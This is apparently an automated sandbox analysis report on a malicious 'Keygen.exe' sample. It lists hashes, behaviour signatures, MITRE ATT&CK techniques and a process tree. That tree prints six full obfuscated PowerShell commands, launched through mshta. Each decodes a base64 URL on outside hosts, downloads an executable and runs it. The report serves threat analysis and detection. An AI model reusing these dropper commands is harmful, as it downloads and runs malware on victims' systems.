38bc13ef112b2f17d4d1a80243fac6a521b5d58228984aae0752d79487fa3b66

Resubmissions

16/04/2025, 11:04

250416-m58gsaz1ay 10

15/04/2025, 17:34

15/04/2025, 06:16

14/04/2025, 08:06

14/04/2025, 07:59

14/04/2025, 07:22

14/04/2025, 07:16

11/04/2025, 21:39

Analysis

max time kernel
150s
max time network
102s
platform
windows11-21h2_x64
resource
win11-20250410-en
resource tags

arch:x64arch:x86image:win11-20250410-enlocale:en-usos:windows11-21h2-x64system
submitted
14/04/2025, 07:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Keygen.exe
Size

849KB
MD5

dbde61502c5c0e17ebc6919f361c32b9
SHA1

189749cf0b66a9f560b68861f98c22cdbcafc566
SHA256

88cad5f9433e50af09ac9cad9db06e9003e85be739060b88b64186c05c0d636b
SHA512

d9b8537f05844ec2f2549e2049e967a8023bfe432e3a9cf25fc0f7ad720e57a5830be733e1812cc806c5b68cd9586a031e394f67fc7e3f7fe390625fd5dedfbb
SSDEEP

24576:uSdQdKdRdOdHdmHBnWs/nROBiGR4+hazer+Vufo/JxBYQ5:hH9DnR1Z+45Ufo/PBL

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	4892	powershell.exe
4	4248	powershell.exe
5	5320	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5256	Keygen.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5992	powershell.exe
5040	powershell.exe
4248	powershell.exe
4892	powershell.exe
4900	powershell.exe
5320	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Keygen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Keygen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
4396	timeout.exe
4564	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1492919288-2219487354-2015056034-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
5040	powershell.exe
4248	powershell.exe
4900	powershell.exe
4892	powershell.exe
5040	powershell.exe
4248	powershell.exe
4892	powershell.exe
4900	powershell.exe
5320	powershell.exe
5992	powershell.exe
5992	powershell.exe
5320	powershell.exe
5320	powershell.exe
5992	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4248	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	5040	powershell.exe
Token: SeDebugPrivilege	4900	powershell.exe
Token: SeDebugPrivilege	5320	powershell.exe
Token: SeDebugPrivilege	5992	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5256	Keygen.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 988 wrote to memory of 4508	988	Keygen.exe	78
PID 988 wrote to memory of 4508	988	Keygen.exe	78
PID 988 wrote to memory of 4508	988	Keygen.exe	78
PID 4508 wrote to memory of 5256	4508	cmd.exe	82
PID 4508 wrote to memory of 5256	4508	cmd.exe	82
PID 4508 wrote to memory of 5256	4508	cmd.exe	82
PID 4508 wrote to memory of 2744	4508	cmd.exe	83
PID 4508 wrote to memory of 2744	4508	cmd.exe	83
PID 4508 wrote to memory of 2744	4508	cmd.exe	83
PID 4508 wrote to memory of 4344	4508	cmd.exe	84
PID 4508 wrote to memory of 4344	4508	cmd.exe	84
PID 4508 wrote to memory of 4344	4508	cmd.exe	84
PID 4508 wrote to memory of 4396	4508	cmd.exe	85
PID 4508 wrote to memory of 4396	4508	cmd.exe	85
PID 4508 wrote to memory of 4396	4508	cmd.exe	85
PID 4344 wrote to memory of 5040	4344	mshta.exe	86
PID 4344 wrote to memory of 5040	4344	mshta.exe	86
PID 4344 wrote to memory of 5040	4344	mshta.exe	86
PID 2744 wrote to memory of 4248	2744	mshta.exe	87
PID 2744 wrote to memory of 4248	2744	mshta.exe	87
PID 2744 wrote to memory of 4248	2744	mshta.exe	87
PID 4508 wrote to memory of 1040	4508	cmd.exe	90
PID 4508 wrote to memory of 1040	4508	cmd.exe	90
PID 4508 wrote to memory of 1040	4508	cmd.exe	90
PID 4508 wrote to memory of 4860	4508	cmd.exe	91
PID 4508 wrote to memory of 4860	4508	cmd.exe	91
PID 4508 wrote to memory of 4860	4508	cmd.exe	91
PID 4508 wrote to memory of 4564	4508	cmd.exe	92
PID 4508 wrote to memory of 4564	4508	cmd.exe	92
PID 4508 wrote to memory of 4564	4508	cmd.exe	92
PID 1040 wrote to memory of 4892	1040	mshta.exe	93
PID 1040 wrote to memory of 4892	1040	mshta.exe	93
PID 1040 wrote to memory of 4892	1040	mshta.exe	93
PID 4860 wrote to memory of 4900	4860	mshta.exe	95
PID 4860 wrote to memory of 4900	4860	mshta.exe	95
PID 4860 wrote to memory of 4900	4860	mshta.exe	95
PID 4508 wrote to memory of 6052	4508	cmd.exe	97
PID 4508 wrote to memory of 6052	4508	cmd.exe	97
PID 4508 wrote to memory of 6052	4508	cmd.exe	97
PID 4508 wrote to memory of 3968	4508	cmd.exe	98
PID 4508 wrote to memory of 3968	4508	cmd.exe	98
PID 4508 wrote to memory of 3968	4508	cmd.exe	98
PID 6052 wrote to memory of 5320	6052	mshta.exe	99
PID 6052 wrote to memory of 5320	6052	mshta.exe	99
PID 6052 wrote to memory of 5320	6052	mshta.exe	99
PID 3968 wrote to memory of 5992	3968	mshta.exe	101
PID 3968 wrote to memory of 5992	3968	mshta.exe	101
PID 3968 wrote to memory of 5992	3968	mshta.exe	101

C:\Users\Admin\AppData\Local\Temp\Keygen.exe
"C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:988
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8491.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4508
- - C:\Users\Admin\AppData\Local\Temp\8491.tmp\Keygen.exe
    Keygen.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:5256
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8491.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2744
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4248
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8491.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4344
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5040
- - C:\Windows\SysWOW64\timeout.exe
    timeout 1
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:4396
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8491.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1040
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4892
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8491.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4860
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4900
- - C:\Windows\SysWOW64\timeout.exe
    timeout 2
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:4564
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8491.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6052
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5320
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8491.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3968
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5992

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
1a2e5e35da46d56789cbaea1c8e2d094

SHA1
0be9a7f3614a60cce7ebc4aacfd55d87cf34e0f8

SHA256
0f977384b6ebe2ba0f51ed25b44599ad33bac5dfce64478461f7a8c725bbba0c

SHA512
cf4ea5b403bcc750bcf3d96fe7330d12315ef582521a6e70386156027d0e5761dd6ff15785ae16f28381bdda6719e3cbc99c1427d8d98feee03fd924c464c162

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
60KB

MD5
0a9da256ffcfe42119c7a351e5eaaa9c

SHA1
c992b8e18cfc24faee739511beb5094189806177

SHA256
f4750e5af8c84626318382887c9c17e6555eff006af7d7e88cadd562ab2ee8ed

SHA512
451f4d470fe938a7c71d340f0711a9d1cb98f542138bd95584244471fa5f31beba8274699be1e497742ce91182dc9e308ca2d9ce3d004174a8228cca4c118672

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
5c231e6de2985597495f0fc0a00561ff

SHA1
89eee9a8fd2e3c6148495c9c233ce59640683b0f

SHA256
2ecffa19ecd9de8024add074c9323226c2e0ca764c3ad620a2f1fefb82331d34

SHA512
00ea5bf49decade971738a96569db3c610e9b4a273dbef92a231f629c5110706ce8af38f6b21ff768118c7500851d23d63502811542cbcffadc2a97f676156d0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
2a5fb5f5f837327acca3e1069ee0b72d

SHA1
3a9636e8f225eb2240ad8b96b01bd0bf6c09ffd7

SHA256
1e1241042195ecd1bf8467b13ab0c4bdf621b08b6cbc2a5f8a3e5801ce323ef7

SHA512
7ffd432b0b6f9dc418e00d979e9a39c885b915bd5f97f2439e3e33c8b85f8427613d8908bde52da2223f2e955342b56e6aba60b73fc48d1ffd8bd29b6459ed8d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
ae0d3fa9107f7c7cb1e8a9811388a494

SHA1
5c95d92ed39862efe5621af851c07dd52e2a15e3

SHA256
3a87dd174fa88876d253cc5c5806f56d6a598d16ed32c91207f0dd951023697c

SHA512
a96355fecdcb2385a828f7bb7c57f6c436d43407a69b8402848fe8a289ef8841f0e903bfcbfa31fe2e906bc98e47570d64f4c7992eff2d08c61970f8ac440bde

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
4a8a0913bd66e217dbba7de9e761557c

SHA1
09cbdcae68377bc507dfe7ec90fc11fa510ae854

SHA256
172282bfe0de16f1b41a764bc4031fd208e50b7c6288347bfe4964ef1aca3468

SHA512
a83b43f9f92fd035a2a058be1854171adf5be17346c03946d090464b1cacc2ae4e7c2ffac0431042305e70117ddf15b8f469aad3c7bab3ff10db4eda0e9040b3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
604313242f4f8d273846028336c29d19

SHA1
d617efa84f7c98c6eac5e54d76ff5a579e8d9a2e

SHA256
8a54ebc75268a27cb7168e76636efc0c6386dcd159bf77b6b2c0656073612037

SHA512
935e09f63a2d7d8b98bad97fd2dae76365466d1d5f51ba99021a00bc7571aa2e44624c588fca9b1c2840ebdc3ae94169dd3ec88a9e680e664cfe1e28f7ee95be

Download Submit
C:\Users\Admin\AppData\Local\Temp\8491.tmp\Keygen.exe

Filesize
678KB

MD5
ea2c982c12fbec5f145948b658da1691

SHA1
d17baf0b8f782934da0c686f2e87f019643be458

SHA256
eecd6f108f35df83d4450effa5d5640efe7e5f2fff819833f01fb2d053e626d4

SHA512
1f1d6768467fff8387be1cf536e01cfbf28cb04777fa184f18fcab0c518ead8d52827abe5ca1c566c425616c7b06ab1bce0c92dd684c818b51fc52fa0f4b74b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\8491.tmp\b.hta

Filesize
17KB

MD5
5bbba448146acc4530b38017be801e2e

SHA1
8c553a7d3492800b630fc7d65a041ae2d466fb36

SHA256
96355db8fd29dcb1f30262c3eac056ff91fd8fa28aa331ed2bedd2bd5f0b3170

SHA512
48e3d605b7c5531cb6406c8ae9d3bd8fbb8f36d7dd7a4cbe0f23fc6ef2df08267ce50d29c7ec86bf861ebdcf9e48fb9c61c218f6584f1a9a0289a10a2fec730b

Download Submit
C:\Users\Admin\AppData\Local\Temp\8491.tmp\b1.hta

Filesize
17KB

MD5
c57770e25dd4e35b027ed001d9f804c2

SHA1
408b1b1e124e23c2cc0c78b58cb0e595e10c83c0

SHA256
bb0fd0011d5a0c1bbb69cb997700eb329eee7bed75fef677122fcfda78edc7f5

SHA512
ac6d957d2b6218d9c19dea60b263d6148f730a7a4599e03023afc0881b9f4051d20e5f1d94fc3e416c5e12bcc9846a43af90f55767271ef0cc4b84f31f432ae7

Download Submit
C:\Users\Admin\AppData\Local\Temp\8491.tmp\ba.hta

Filesize
17KB

MD5
b762ca68ba25be53780beb13939870b2

SHA1
1780ee68efd4e26ce1639c6839c7d969f0137bfd

SHA256
c15f61a3c6397babdf83b99b45345fec9851c4d3669c95b717f756b7c48050d1

SHA512
f99570d2dae550cb1474e2d1cabf8296a685e0e7254d92eb21d856acb8dece635a0842a00d63da2a4faa18c52c57244c565d6a752c857d5c15e8c23b3d4a9e1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\8491.tmp\ba1.hta

Filesize
17KB

MD5
a2ea849e5e5048a5eacd872a5d17aba5

SHA1
65acf25bb62840fd126bf8adca3bb8814226e30f

SHA256
0c4ffba2e00da7c021d0dcab292d53290a4dc4d067c029e5db30ba2ac094344c

SHA512
d4e53c150e88f31c9896decfaa9f0a8dfab5d6d9691af162a6c0577786620fb1f3617398fc257789a52e0988bf1bfc94255db6d003397863b0b9e82afabdb89f

Download Submit
C:\Users\Admin\AppData\Local\Temp\8491.tmp\m.hta

Filesize
17KB

